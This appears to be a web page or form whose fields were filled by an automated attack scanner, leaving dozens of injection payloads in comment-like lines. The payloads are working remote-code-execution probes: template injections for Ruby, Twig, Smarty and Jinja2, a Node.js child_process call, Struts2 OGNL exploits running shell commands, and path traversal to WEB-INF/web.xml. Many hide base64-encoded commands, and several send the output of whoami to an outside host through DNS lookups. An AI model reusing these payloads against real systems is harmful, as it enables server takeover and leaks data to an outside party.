}» mith: = "#{(require'base64';x(#{Base64.urlsafe_decode64('bnNsb29rdXAgdmFka2VhbWFveHg5ZWp3bnRub3p1YXZwc3d4Mzl0NXNmdG1sZnFtMXY4dy5yODcubWU=')})).to_s}"
» : = "#{(require'base64';x(#{Base64.urlsafe_decode64('bnNsb29rdXAgdmFka2VhbWFveGN3czczZGU0bnA1dzZ6YnJmeWEyMW9wcm41bzlsdWdxdS5yODcubWU=')})).to_s}"
» mith: {{_self.env.registerUndefinedFilterCallback("system"
}}{{_self.env.getFilter("nslookup vadkeamaoxgipbb5s7mkyscmzbwbaofanndb8bw9"~"4oa.r87.me" }}» : {{_self.env.registerUndefinedFilterCallback("system"
}}{{_self.env.getFilter("nslookup vadkeamaoxqkerzrupurxqdsnbkvg-h_0xjz_ka1"~"aum.r87.me" }}» mith: {php}Smarty_Resource::parseResourceName(system("nslookup vadkeamaoxh2tc1c-jxytpoq_af2rjn8hrs9gq_e"."v5y.r87.me"
,'b');{/php}» : {php}Smarty_Resource::parseResourceName(system("nslookup vadkeamaoxpk12nn4bciwur1somzhv5aklnowlg2"."jii.r87.me"
,'b');{/php}» mith: /../../../../../../../../../../WEB-INF/web.xml
» mith: - global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdmFka2VhbWFveDd6NndhanJkaHVfODF3My0xNms3NDJxMWc3bDRmY2htZS5yODcubWU=','base64').toString())
» : /../../../../../../../../../../WEB-INF/web.xml
» : - global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdmFka2VhbWFveDRxcXhhcnJweHZrem5kZXFna3BldnR2eGppbThjYmtyeS5yODcubWU=','base64').toString())
» mith: WEB-INF/web.xml
» mith: = global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdmFka2VhbWFveHhncm82czN0N2ljZ252MF9kZTlwdGdibHdiamtzdmV3dy5yODcubWU=','base64').toString())
» : WEB-INF/web.xml
» : = global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgdmFka2VhbWFveHFxZ28yc3Vid3F2cGR2bnhhY3l3bHJvX29fcnJnc3V2ay5yODcubWU=','base64').toString())
» mith: { set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZG1Ga2EyVmhiV0Z2ZUdwcWJEbHpMV052ZVc5dmVUWjNhSHBwY0c1cWNqVmxNMmQxWkRWMmJuRTVZUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" }{ for c in [].__class__.__base__.__subclasses__() } { if c.__name__ == 'catch_warnings' }{ for b in c.__init__.func_globals.values() } { if b.__class__ == {}.__class__ }{ if 'eval' in b.keys() }{{ b['eval'](d) }}{ endif }{ endif }{ endfor }{ endif }{ endfor }
» mith: /xz/pok_index.php
» : { set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZG1Ga2EyVmhiV0Z2ZUdSeFkza3pkWFp0TVRsbU1uVnVjblpwYkdsamJYRjBNbll5YkRGcWFHRjZiUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" }{ for c in [].__class__.__base__.__subclasses__() } { if c.__name__ == 'catch_warnings' }{ for b in c.__init__.func_globals.values() } { if b.__class__ == {}.__class__ }{ if 'eval' in b.keys() }{{ b['eval'](d) }}{ endif }{ endif }{ endfor }{ endif }{ endfor }
» : /xz/pok_index.php
» mith: {{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdmFka2VhbWFveHV5cWZiOTBqejN3b3R1LXBzcTB1MWVkemZsdGQzenZxeS5yODcubWU=')).read()}}
» mith: pok_index.php
» : {{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgdmFka2VhbWFveGV0eXU1eTZ4MG9jZmV1NXNnMGFwejk1Zm4ycXM3Z3Ixby5yODcubWU=')).read()}}
» : pok_index.php
» mith: {(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "vadkeamaoxhirkblxrx-1ox_aquz2_yj9rf18ctc"uey.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache ***mons.io.IOUtils@toString(#process.getInputStream()))}» mith: pok_index.php
» : {(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "vadkeamaoxhtsy8hqhwr9m1o9qc28b0nszve5frr"3v0.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache ***mons.io.IOUtils@toString(#process.getInputStream()))}» : pok_index.php
» mith: {(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."vadkeamaoxpglkft1uperkmn9g_gbg6z_oa4cyho""7a8.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache ***mons.io.IOUtils@toString(#process.getInputStream()))}» mith: data:;base64,TlM3NzU0NTYxNDQ2NTc1
» : {(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."vadkeamaoxnekv1qr2qlynblmncike4x8ooe7a_c""nme.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache ***mons.io.IOUtils@toString(#process.getInputStream()))}[1][2][3][4][5][6][7][8][9][10][11][12][13][14][15][16][17][18][19][20][21][22][23][24][25][26][27][28][29][30][31][32][33][34][35][36]
